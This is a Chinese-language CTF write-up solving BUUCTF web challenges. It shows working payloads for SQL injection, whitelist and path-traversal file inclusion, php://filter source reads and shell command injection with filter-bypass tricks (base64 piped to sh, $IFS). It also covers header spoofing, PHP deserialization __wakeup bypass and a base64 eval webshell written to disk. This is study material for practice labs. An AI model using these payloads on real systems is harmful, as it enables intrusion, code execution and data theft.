BUUCTF
EasySQL
打开页面如下,可以看到一个登录框,随便输入用户名和密码都为1
发现页面跳转到check.php并将用户名和密码的输入带入数据库验证。测试一下闭合方式
可以发现当用户名输入为1’的时候出现了报错,判断为单引号闭合。于是尝试用万能密码
1' and 1=1#
1' and 1=2#
1' and '1'='1'#
1' or 1=1#
当尝试到第四个的时候出现flag 或者自己手动用hackbar传参
注意:GET传参要经过url编码,所以使用url进行输入时,不能使用#,而应该使用其url编码%23
Havefun
打开页面 F12查看页面源码
发现存在代码逻辑,输入参数cat以GET方式提交,如果cat参数值为dog,则显示一段东西,于是hackbar上传get参数,拿到flag
HCTF WarmUp
打开页面,发现存在一个提示source.php,访问对应文件
跟据代码逻辑存在一个hint.php,访问一下,得到
第一次检查$page是否在白名单数组中,如果是返回true。这一步是基本的白名单验证,直接用in_array判断。
如果第一次检查不通过,那么用mb_substr处理page。mbsubstr截取从0开始到第一个?出现的位置的子字符串。具体做法是page。mb_substr截取从0开始到第一个?
如果还是不行,再次对$page进行URL解码,并重复之前的处理步骤:截取问号前的内容,再检查是否在白名单中。
接下来的主逻辑是检查$REQUEST[‘file’]是否存在、是字符串,并且通过emmm::checkFile的验证。如果返回值为true,则通过include语句包含$REQUEST[‘file’]指定的文件并终止程序执行,否则输出一个图片标签。
于是我们可以通过文件包含去尝试:先尝试包含hint.php
source.php?file=hint.php
跟单独访问hint.php无区别,到这,目前source.php的提示就用了,那么根据hint.php中的提示,flag在ffffllllaaaagggg。
我们这里可以在source.php中对传参进行一个分析:
传入file=hint.php,首先检查'hint.php'是否是一个字符串,它是字符串,条件通过;
检查'hint.php'是否在白名单中(白名单包括hint.php和source.php),在,继续执行后面的代码;
对'hint.php'执行mb_substr函数,但是函数内一个参数是来自另一个函数mb_strpos的返回值,因此我们先看mb_strpos函数,使用.进行字符连接,即连接了一个问号字符 '?',得到hint.php?
然后查找'?'在字符串'hint.php?'中第一次出现的位置,从0开始算,返回8,即length=8
接下来我们执行mb_substr函数,即 mb_substr('hint.php',0,8)
从字符串中的第一个字符处开始,返回8个字符,其实还是返回的hint.php;
然后对返回的内容进行url解码,重复执行上面的检查和截取操作。
我们只需要传入一个在白名单内的文件名(source.php或者hint.php),并添加上问号,这样可以保证每次找去用于检查的内容都在白名单,返回true。
那么我们的思路便理清了,即在source.php中存在一个文件包含的漏洞,接下来我们只需要找到ffffllllaaaagggg文件的位置就行了。
所以我们只需要输入 source.php?file=source.php?或者 source.php?filehint.php?即可绕过白名单检测,然后在输入…/逐级跳转目录读取flag即可,可以一个一个试
知识补充:
.表示当前目录
. .表示当前目录的上一级目录。
. ./表示当前目录下的某个文件或文件夹,视后面跟着的名字而定
./表示当前目录上一级目录的文件或文件夹,视后面跟着的名字而定。
例如:
文件夹 a
下面有 文件夹b c 和文件 d。
文件夹b下面有e.php 和文件f。
则e中的 . 表示 文件夹b
./f 表示b下面的文件f。
. .表示a文件夹。
. ./d 表示a文件夹下的d文件。
构造payload
source.php?file=hint.php?../ffffllllaaaagggg
或者source.php?file=hint.php?/../ffffllllaaaagggg
最后尝试得到
source.php?file=hint.php?../../../../../ffffllllaaaagggg
或者
source.php?file=hint.php?/../../../../ffffllllaaaagggg
即可拿到flag
这里做了一个小测试
当我输入source.php?file=hint.php/../../../../ffffllllaaaagggg 因为少了一个问号,无法跳过验证,从而回显you can’t see it
Include
打开网址,提示点击tips,跳转到一个链接
http://ebc18792-9def-4f29-9a7c-ba7a1bf26620.node5.buuoj.cn:81/?file=flag.php
根据提示和题目判断应该是利用文件包含漏洞
首先考虑 “php://input”伪协议 + POST发送PHP代码 的经典套路
重新考虑之后使用 “php://filter”伪协议” 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
构造Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码
发送请求得到base64编码后的flag.php文件源码:
解码之,得到Flag
<?php
echo "Can you find out the flag?";
//flag{c61c3a8a-71e9-4f6b-beb7-d1599f47ea7f}
Ping Ping Ping
打开页面提示输入参数 /?ip= ,输入本地地址,可以看到产生ping命令的结果
此处明显存在系统命令执行漏洞。这里输入大写IP=127.0.0.1,执行后会自动转换成小写,猜测这里应该是linux,直接构造payload: /?ip=127.0.0.1|ls 来查看当前目录下的文件
直接构造payload 读取flag文件:/?ip=127.0.0.1|cat /flag.php
根据提示访问对应地址,然后一直访问下去,可以看到提示应该是空格被过滤了
这里使用了多个方法,最后发现$IFS$9能绕过:?ip=127.0.0.1|tac$IFS$9flag.php
flag字段应该也被过滤了,我们尝试访问一下另外一个文件index.php,看看是不是文件名被过滤了
可以看到代码逻辑下,许多符号都被过滤了,包括:
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"
其中:这段代码是对flag进行贪婪匹配
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
源码中有一个$a变量可以覆盖
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
于是构想构造出如下payload
1、简单变量替换,用$a覆盖拼接flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
2、变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
或者 ?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php
3、内联执行
?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`
4、被过滤的bash,用管道+sh替换
cat flag.php用base64加密来绕过正则匹配:Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
但发现过滤了flag、bash,但sh没过滤,linux下可用sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
于是就能得到结果
总结:类似的绕过思路
cat fl* 用*匹配任意
cat fla* 用*匹配任意
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
HTTP
打开查看源码找到Secret.php,访问后根据提示添加Referer:https://www.Sycsccret.com
修改后又说必须使用Syclover浏览器,我们这里直接修改User-Agent头即可 User-Agent:Syclover browser
又说No!!! you can only read this locally!!!,让我们伪造IP,在headers里面添加X-Forwarded-For:127.0.0.1即可得到flag
Knife
登陆进去可以看到一句话木马,根据提示knife–刀,猜测使用中国菜刀连接,我这里直接使用蚁剑,然后连接后根目录下能找到对应flag
Exec
打开页面,出现一个ping,盲猜为命令执行
输入:127.0.0.1|ifconfig
成功回显。于是判断为linux系统
查看当前目录下的文件内容:
输入:127.0.0.1|ifconfig
.
..
index.php
查看当前用户和路径:
127.0.0.1|whoami
www-data
127.0.0.1|pwd
/var/www/html
尝试写入webshell
127.0.0.1|echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
(base64编码<?php eval($_POST[1]); ?>)
并用命令检查是否创建成功ls -a
直接蚁剑连接找flag即可
连接地址:http://ef5f9d12-0392-46b5-ad09-b27a7b1176c3.node5.buuoj.cn:81/2.php
PHP
打开提示网站备份,于是我们用工具扫一扫
御剑没扫出来,我们用dirsearch试试,扫出来一个www.zip的文件,直接再url中拼接尝试下载,得到源码
注意对每次间隔的请求时间做限制,避免扫描过快导致扫描不出来东西,使用参数 -t 时间间隔
python dirsearch.py -u "http://example.com" -t 3 (每三秒一次)
获取源码之后可以看到有一个flag.php,直接打开得到以下内容,尝试提交,无果,依次查看其它的文件
简单代码审计,发现index.php下可以根据GET传参select来调用另一个文件class.php,并且采用了反序列化的方式。而class.php也直接包含了flag.php,且获取到class.php的判断条件:如果用户名为admin 密码为100。
于是构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
在在线网站执行:PHP 在线工具 | 菜鸟工具
得到反序列化后的字符串为:
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()
魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup()
,而去执行__destruct
反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct,于是我们这样构造pyload:
?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然后我们又意识到,这个变量时private
private声明的字段为私有字段,只在所声明的类中可见,在该类子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
于是我们在构造一回pyload: 将 2 改为 3 或者 比二大的数字,同时,我们要将口变为 %00 如果不写 在我们复制的时候就会减少 空格
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最后将payload拼接在index.php之后即可拿到flag